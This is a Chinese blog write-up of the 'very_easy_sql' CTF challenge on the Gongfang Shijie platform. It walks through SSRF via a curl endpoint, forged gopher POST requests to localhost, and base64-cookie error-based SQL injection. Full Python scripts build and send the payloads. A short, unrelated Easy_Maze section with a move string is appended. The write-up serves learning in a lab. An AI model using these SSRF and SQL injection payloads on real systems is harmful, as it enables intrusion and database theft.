攻防世界 very_easy_sql

写在前面

这篇博客只是我在打完我认为的难题后的一个复盘和再思考的过程,其中的知识点都是基于我自己的学习和理解写出的,所以其中如有不正确的地方或者各位师傅看完后有疑惑,请师傅们在评论区指出或者私信我。小生跪谢!

开始

开启靶机后进入了如下页面:

需要注意的是下面的提示,大致意思是说我们不是内部用户,不能给我们身份。这个页面是一个登录框,按常理只有先登录获得cookie后服务器才能判断我们是什么用户,所以这里想表达的意思我认为应该是我们不是从本地发起的请求,所以不能让我们登录。后续我在该页面对这个登录框进行了测试,不论我输入什么,该页面都没有任何变化,这里让我更加肯定了自己的猜想。根据经验后端应该是使用$_SERVER['REMOTE_ADDR'] == '127.0.0.1'来判断我们是否是本地发起的请求,而这个字段的值是web容器根据TCP/IP层次的连接信息自动生成的,在客户端是无法控制的。所以这里应该是不能绕过了。

接下来的思路就是看看源码,看了源码后发现了一个use.php页面,去访问它:

发现了一个通过curl发起请求的点,那这里基本上就是SSRF,再结合题目第一时间想到了通过SSRF打无密码的mysql。对该输入框进行基本的测试后发现过滤了file、http:,但没有过滤gopher,所以这更进一步的验证了我们的猜想。但在此之前先去判断一下3306端口是否开启:

这里报错里有一个mysql_native_password,这是mysql默认的身份认证插件,表明服务器期望客户端使用该插件进行身份认证。即,这里出现了一个关于身份认证的报错,而如果是没有配置密码的mysql,客户端与之连接时一般是不会返回与身份验证相关的报错的,由此可以推断这里的mysql应该是设置了登录密码的,在我后续进一步的验证中也证明了这点。

所以到这里我们的思路就要改变了,我们先返回index.php抓包看看:

可以看到这里是发送了一个post数据包,结合use.php,这里可能是需要我们从use.php利用SSRF发送一个POST数据包到index.php里。所以直接尝试一下,如果要通过gopher发送POST请求,那么以下三个http请求头是必须的: 

Host: 127.0.0.1:80

Content-Type: Content-Type: application/x-www-form-urlencoded

Content-Length: 0

经过我的测试,我发现host中的值不一定要是准确的,但Content-Length表示post请求体中的数据在哪里结束,所以这个值一定要是准确的。Content-Type表示请求或响应中的数据的MIME类型,可以让服务器或客户端能够正确的解析和处理数据,这个值也要是准确的。

因为后端curl还要执行一次,所以需要对gopher协议中的tcp/ip数据包部分进行二次url编码。它的规则是在第一次url编码后需要将其中的+替换为%20,将%0a替换为%0d%0a,且在数据包的末尾加上一个%0d%0a来表示数据的结束。这个post请求可以手工构造也可以通过python脚本构造。下面是构造post请求的pthon代码:

import urllib.parse

url='127.0.0.1'
content = "uname=admin&passwd=admin"

data = \
f'''POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(content)}

{content}
'''

data_url1 = urllib.parse.quote(data).replace('%0A', '%0D%0A')
print(data_url1)
data_url2 = urllib.parse.quote(data_url1)

payload = 'gopher://127.0.0.1:80/_' + data_url2

print(f'payload:{payload}')

 这里gopher里目标的端口号应该是80,这点在use.php中直接访问127.0.0.1时可以看到成功页面成功包含了index.php的内容,而通过curl直接访问一个域名/ip默认是使用http协议,默认端口号是80。构造好后通过bp发包观察回显:

该值在被base64解码后刚好就是admin,同时这也是我觉得整道题最变态的地方,这里如果我将username或passwd 值改为别的,只要不是admin和admin就不会有任何有用的信息的回显出来,即使认为这个登录框是一个注入点,进行测试也不会有任何有用的回显。也就是说这里就是一个模拟登录的行为,如果你是本地发起的请求,用户名和密码是admin和admin,那么它就认为你登录成功了,返回this_is_your_cookie,而这个返回才是真正的注入点。这里我感觉是很变态的,当然有我经验不足和思考不足的原因。

后面的流程就一目了然了,再次通过gopher发送一个无数据的包含Cookie请求头,其中内容为this_is_your_cookie=admin'(这个admin'需要通过base64编码),因为之前的返回中admin是经过base64编码的,所以由此可以推断后端应该会有一个base64解码的操作。发包过去后就可以发现mysql报错了,后面就是通过报错注入拿flag了,下面是一站式python脚本:

import urllib.parse
import requests
import base64

# 初始化
url = 'http://ip:port/use.php'
headers = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0'}

# 生成payload
def payload(sql):
    sql = base64.b64encode(sql.encode('utf-8')).decode('utf-8')
    cookie = f"this_is_your_cookie={sql}"

    data = \
f'''POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''
    
    data_url1 = urllib.parse.quote(data).replace('%0A', '%0D%0A')
    # data_url2 = urllib.parse.quote(data_url1)
    gopher = 'gopher://127.0.0.1:80/_' + data_url1
    return gopher


# 获取库名 security
sql = "admin') and extractvalue(1,concat(0x7e,database())) -- q"
# 爆表 关键表flag
sql = "admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- q"
# 爆字段 flag
sql = "admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'))) -- q"
# 获取数据
sql = "admin') and extractvalue(1,concat(0x7e,(select right(flag,20) from flag))) -- q"

pay = payload(sql)
print(pay)
params = {'url':f'{pay}'}

res = requests.get(url, params=params)
print(res.text)

写在最后

梦虽遥,追则可达;愿虽艰,持则可圆

### 关于攻防世界 Easy_Maze 的解题思路 #### 题目背景 Easy_maze 是一款基于字符串输入的简单迷宫游戏,玩家通过键盘输入特定字符序列完成迷宫路径规划并最终获得 flag。这类题目通常涉及基础的逆向分析以及简单的逻辑推理。 #### 解题方法概述 根据已知信息[^4],该关卡的核心在于理解如何利用 `wsad` 控制角色移动方向以穿越迷宫。具体来说: - **输入方式**:程序接受一系列由字母组成的字符串作为指令集。 - **功能映射**: - 字母 `w` 表示向上移动; - 字母 `s` 表示向下移动; - 字母 `a` 表示向左移动; - 字母 `d` 表示向右移动; 此部分可以通过阅读源码或者调试工具反汇编得到结论[^3]。 #### 实际操作流程 为了成功通关 easy_maze 并获取最终答案 UNCTF{...} ,需要按照如下方式进行尝试: 1. 使用动态调试器加载二进制文件观察执行过程中的分支条件变化情况。 2. 结合静态代码审查确认每一步合法动作范围及其触发机制。 3. 构造满足所有约束条件的有效路径表达式提交验证服务器校验正确性。 以下是可能的一个解决方案实例演示代码片段: ```python solution = "ssddwdwdddssaasasaaassddddwdds" print(f"The solution to the maze is {solution}") ``` 上述脚本定义了解决方案变量 solution,并打印出完整的行动轨迹供参考者复制粘贴至目标平台界面测试效果。 #### 总结 通过对 easy_maze 的深入剖析可以看出,此类 CTF 类型竞赛项目主要考察参赛选手对于基本计算机科学概念的理解程度以及实际动手解决问题的能力水平。掌握好相关基础知识能够帮助我们更加高效地应对各种复杂场景下的挑战任务。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

寄居动物

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值